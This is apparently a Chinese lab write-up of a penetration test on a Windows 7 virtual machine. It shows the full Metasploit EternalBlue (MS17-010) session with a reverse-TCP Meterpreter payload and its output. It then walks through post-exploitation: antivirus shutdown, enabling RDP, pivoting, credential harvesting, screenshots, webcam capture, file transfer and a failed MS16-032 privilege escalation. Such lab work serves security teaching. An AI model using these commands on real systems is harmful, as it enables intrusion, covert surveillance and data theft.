利用永恒之蓝漏洞入侵Windows7
流程参考https://www.jianshu.com/p/03a1c13f963a,实在是太棒啦!!!
目标主机为win7(IP:192.168.1.102);攻击机为kali(IP:192.168.1.104);工具为metasploit5
启动metasploit
msfconsole
探测目标主机信息
nmap -sV 192.168.1.102
,445端口开放着,大概率可以用永恒之蓝漏洞攻击
这一次选择MS17_010漏洞,就是永恒之蓝漏洞来入侵Windows7。查找MS17_010漏洞相关的信息:
search ms17_010
第二个辅助模块是探测主机是否存在MS17_010漏洞
选择这个辅助模块,看看目标机器是不是有这个问题。
likely ———— 有可能有啊 (必须滴有♀️)
开干!
msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue # 用攻击模块
msf5 exploit(windows/smb/ms17_010_eternalblue) > show payloads # 显示所有payload
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
1 generic/custom normal No Custom Payload
2 generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 windows/x64/exec normal No Windows x64 Execute Command
5 windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
6 windows/x64/messagebox normal No Windows MessageBox x64
7 windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
8 windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
9 windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
10 windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
11 windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
————————————————————此处省略很多行——————————————————————————————————————
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp # 选择这个payload
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.1.102 # 设置目标IP
RHOST => 192.168.1.102
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.104 # 设置攻击机IP
LHOST => 192.168.1.104
msf5 exploit(windows/smb/ms17_010_eternalblue) > run # 开干
[*] Started reverse TCP handler on 192.168.1.104:4444
[*] 192.168.1.102:445 - Connecting to target for exploitation.
[+] 192.168.1.102:445 - Connection established for exploitation.
[+] 192.168.1.102:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.102:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.1.102:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 192.168.1.102:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
[*] 192.168.1.102:445 - 0x00000020 50 61 63 6b 20 31 Pack 1
[+] 192.168.1.102:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.102:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.102:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.102:445 - Starting non-paged pool grooming
[+] 192.168.1.102:445 - Sending SMBv2 buffers
[+] 192.168.1.102:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.102:445 - Sending final SMBv2 buffers.
[*] 192.168.1.102:445 - Sending last fragment of exploit packet!
[*] 192.168.1.102:445 - Receiving response from exploit packet
[+] 192.168.1.102:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.102:445 - Sending egg to corrupted connection.
[*] 192.168.1.102:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 192.168.1.102
[*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.102:49165) at 2020-09-28 15:09:35 +0800
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > sysinfo # 可以为所欲为了
Computer : GE-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
成功地对目标机器攻击渗透后还可以做什么? Metasploit提供了一个非常强大的后渗透工具————Meterpreter,该工具具有多重功能,使后续的渗透入侵变得更容易。获取目标机的Meterpreter Shell后,就进入了Metasploit最精彩的后期渗透利用阶段,后期渗透模块有200多个,Meterpreter有以下优势。
- 纯内存工作模式,不需要对磁盘进行任何写入操作。
- 使用加密通信协议,而且可以同时与几个信道通信。
- 在被攻击进程内工作,不需要创建新的进程。
- 易于在多进程之间迁移。
- 平台通用,适用于Windows、Linux、 BSD系统, 并支持Intel x86和Intel x64平台。
本节主要介绍如何利用Meterpreter做好后渗透的准备工作及收集系统各类信息和数据。
进程迁移
在刚获得Meterpreter Shell时,该Shell是极其脆弱和易受攻击的,例如攻击者可以利用浏览器漏洞攻陷目标机器,但攻击渗透后浏览器有可能被用户关闭。所以第一步就是要移动这个Shell,把它和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作。这样做使得渗透更难被检测到。
输入getpid命令查看Meterpreter Shell的进程号,如下图所示
可以看到Meterpreter Shell进程的PID为1116,Name为spoolsv.exe,然后输入migrate 2428
命令把Shell移动到PID为2428的Explorer.exe进程里,因为该进程是一个稳定的应用。
完成进程迁移后,再次输入getpid命令查看Meterpreter Shel的进程号,发现PID已经变成了2428,说明已经成功迁移到Explorer.exe进程里,如图所示。
进程迁移完成后,原先PID为1116的进程会自动关闭,如果没有自动关闭可以输入kill 1116命令“杀掉” 该进程。使用自动迁移进程命令(run post/windows/manage/migrate
)后,系统会自动寻找合适的进程然后迁移,如图所示。
如上图所示,系统已经把原来PID为2428的进程迁移到956。
系统命令
获得了稳定的进程后,接下来收集系统信息。先输入sysinfo
命令查看目标机的系统信息,例如操作系统和体系结构,如下图所示。
输入run post/windows/gather/checkvm
命令检查目标机是否运行在虚拟机上,如下所示
可以看到当前目标机正运行在一个VMware虚拟机上.现在检查目标机是否正在运行, 输入idletime
命令后可以看到目标机最近的运行时间.
可以看到目标机器正在运行,并且已经运行了35 mins 16 secs
接着输入route
命令查看目标机完整的网络设置, 如下图所示
除此之外,可以输入background命令将当前会话放到后台,此命令适合在多个Meterpreter会话的场景下使用。还可以输入getuid命令查看当前目标机器上已经渗透成功的用户名,如下图所示。
接着输入run post/windows/manage/killav
命令关闭目标机操作系统, 如下所示
输入run post/windows/manage/enable_rdp
命令启动目标机的远程桌面协议,也就是常说的3389端口,如下
然后输入run post/windows/manage/autoroute
命令查看目标机的本地子网情况, 如下:
可以通过添加路由借助被攻陷的主机对其他网络的主机发送攻击.
接着输入run post/windows/gather/enum_logged_on_users
命令列举当前有多少用户登陆了目标机.
这系统就ge一个用户.且当前已经登陆.
列举完了用户之后, 继续输入 run post/windows/gather/enum_applications
命令列举安装在目标机上的应用程序, 如下
很多用户习惯将计算机设置为自动登录,下面这个命令可以抓取自动登陆的用户和密码.
run windows/gather/credentials/windows_autologin
可以看到,当前没有抓到任何信息。此时就需要用到扩展插件Espia,使用前要先输入load espia命令加载该插件,然后输入screengrab命令就可以抓取此时目标机的屏幕截图,如图所示。
抓取成功后就生成了一个名为YZOFsgTD.jpeg的图片,保存在root目录下。这里输入screenshot命令也可以达到同样的效果,如图所示。
下面介绍几个好玩的命令, 查看目标机有没有摄像头的命令为 webcam_list, 如下:
没有和有结果分别如下(为撒一会无,一会有? [因为我发现没有之后把摄像头又分配给了虚拟机])
接着输入webcam_snap命令打开目标机摄像头并拍摄一照片, 如下
疯狂打马
输入webcam_stream命令甚至还可以开启直播模式. 妈呀,可怕!!
还可以输入shell命令进入目标机shell下面, 如下所示.
最后输入exit命令停止meterpreter会话, 如下所示. 该命令还可用于停止shell会话并返回meterpreter.
文件系统命令
Meterpreter也支持各种文件系统命令,用于搜索文件并执行各种任务,例如搜索文件、下载文件及切换目录等,相对来说操作比较简单。常用的文件系统命令及其作用如下所示。
- pwd或getwd: 查看当前处于目标机的哪个目录,如图所示。
- getlwd: 查看当前处于本地的哪个目录
- ls: 列出当前目录中的所有文件
- cd: 切换目录
- search -f *.txt -d c:\ 可以搜索C盘中所有以".txt" 为扩展名的文件,其中-f参数用于指定搜索文件模式,-d参数用于指定在哪个目录下进行搜索,如图所示。
- download c:\test.txt /root 下载目标机C盘的test.txt文件到攻击机root下。
- upload /root/test.txt c:\ 上传攻击机root目录下的test.txt文件到目标机C盘下。
使用上述命令搜索已被攻陷的目标机,可以获得更多关于目标机的信息。
后渗透攻击:权限提升
通常,我们在渗透过程中很有可能只获得了一个系统的Guest或User权限。低的权限级别将使我们受到很多的限制,在实施横向渗透或者提权攻击时将很困难。在主机上如果没有管理员权限,就无法进行获取Hash、安装软件、修改防火墙规则和修改注册表等各种操作,所以必须将访问权限从Guset提升到User,再到Administrator,最后到System级别。
渗透的最终目的是获取服务器的最高权限,即Windows操作系统中管理员账号的权限,或Linux操作系统中root账户的权限。提升权限的方式分为以下两类。
- 纵向提权:低权限角色获得高权限角色的权限。例如,一个WebShell权限通过提权之后拥有了管理员的权限,那么这种提权就是纵向提权,也称作权限升级。
- 横向提权:获取同级别角色的权限。例如,通过已经攻破的系统A获取了系统B的权限,那么这种提权就属于横向提权。
所以在成功获取目标机Meterpreter Shell后,我们要知道现在已经拥有了什么权限.
在Meterpreter Shell下输入shell命令进入目标机的CMD命令行, 接着输入whoami /groups
命令查看我们当前的权限
从上图中可以看到,当前的权限是Mandatory Label\Medium Mandatory Level, 说明我们是一个标准用户,那么就需要将用户权限从标准用户提升到管理员,也就是Mandatory Label\High Mandatory Level。
下面我们就利用本地溢出漏洞来提高权限,也就是说通过运行些现成的、能造成溢出漏洞的Exploit,把用户从User组或其他系统用户组中提升到Administrator组(或root)。
溢出漏洞就像往杯子里装水,水多了杯子装不进去,里面的水就会溢出来。而计算机有个地方叫缓存区,程序的缓存区长度是事先被设定好的,如果用户输入的数据超过了这个缓存区的长度,那么这个程序就会溢出。
利用WMIC实战MS16-032本地溢出漏洞
此处我们通过一系列的渗透测试得到了目标机器的Meterpreter Shell.首先输入getuid命令查看已经获得的权限,可以看到现在的权限很低,是test权限。尝试输入getsystem命令提权,结果失败,如图所示。
接着查看系统的已打补丁,传统的方法是在目标机的CMD命令行下输入systeminfo命令,或者通过查询C:\windows\里留下的补丁号".Iog" 查看目标机大概打了哪些补丁,如图所示。
可以看到目标机只安装了3个修补程序。这里再利用WMIC命令Wmic qfe get Caption,Description,HotFixID,InstalledOn
列出已安装的补丁,如图所示。
同样可以看到目标机只打了3个补丁,要注意这些输出的结果是不能被直接利用的,使用的方式是去找提权的EXP,然后将系统已经安装的补丁编号与提权的EXP编号进行对比。比如KiTrap0D (KB979682) 、MS11-011 (KB2393802) ,MS11-080(KB2592799),然后使用没有编号的EXP进行提权。因为虚拟机不怎么打补丁,所以我们可以使用很多EXP来提权,这里就用最新的MS16-032来尝试提权,对应的编号是KB3139914。
相关漏洞的具体信息分析和共享可以参考如下两个网站。
- 安全焦点,其BugTraq是一个出色的漏洞和Exploit数据源, 可以通过CVE编号或者产品信息漏洞直接搜索。网址: https://www.securityfocus.com/bid .
- Exploit-DB, 取代了老牌安全网站milw0rm。 Exploit DB不断更新大量的Exploit程序和报告,它的搜索范围是整个网站的内容。网址: https://www.exploit-db.com/ 。
知识点: WMIC是Windows Management Instrumentation Command-line的简称,它是一款命令行管理工具,提供了从命令行接口到批命令脚本执行系统管理的支持,可以说是Windows平台下最有用的命令行工具。使用WMIC,我们不但可
以管理本地计算机,还可以管理同一域内的所有远程计算机(需要必要的权限), 而被管理的远程计算机不必事先安装WMIC.
wmic.exe位于Windows目录下,是一个命令行程序。 WMIC可以以两种模式执行:交互模式(Interactive mode)和非交互模式(Non-Interactive mode),经常使用Netsh命令行的读者应该非常熟悉这两种模式。
- 交互模式。如果你在命令提示符下或通过“运行”菜单只输入WMIC,都将进入WMIC的交互模式,每当一个命令执行完毕后,系统还会返回到WMIC提示符下,如"Root\cli" ,交互模式通常在需要执行多个WMIC指令时使用,有时还会对一些敏感的操作要求确认,例如删除操作,这样能最大限度地防止用户操作出现失误。
- 非交互模式。非交互模式是指将WMIC指令直接作为WMIC的参数放在WMIC后面,当指令执行完毕后再返回到普通的命令提示符下,而不是进入WMIC上下文环境中。WMIC的非交互模式主要用于批处理或者其他一些脚本文件中。
需要注意的是,在Windows XP下,低权限用户是不能使用WMIC命令的,但是在Windows 7系统和Windows 8系统下,低权限用户可以使用WMIC,且不用更改任何设置。
WMIC在信息收集和后渗透测试阶段非常实用,可以调取查看目标机的进程、服务、用户、用户组、网络连接、硬盘信息、网络共享信息、已安装补丁、启动项、已安装的软件、操作系统的相关信息和时区等。
接下来准备提权,同样需要先把Meterpreter会话转为后台执行,然后搜索MS16-032,如下图所示。
知识点: 如果搜索不到最新的Exploit,可以输入msfupdate命令进行升级,获取最新的Exploit模块、攻击载荷,或者手动添加相应漏洞EXP 。
执行以下命令选中MS16-032这个漏洞,然后指定"session" 进行提权操作,这里我们指定服务"session" 为 “1”,然后run 。
额这块失败了, 不玩了mmp......
为方便提权, 下面附上部分系统对应的补丁号.
说明
本文参考 开篇的博客链接 及 《Web安全攻防:渗透测试实战指南》
所有过程仅供演示交流,禁止用于非法用途,由此产生的非法后果与我无瓜。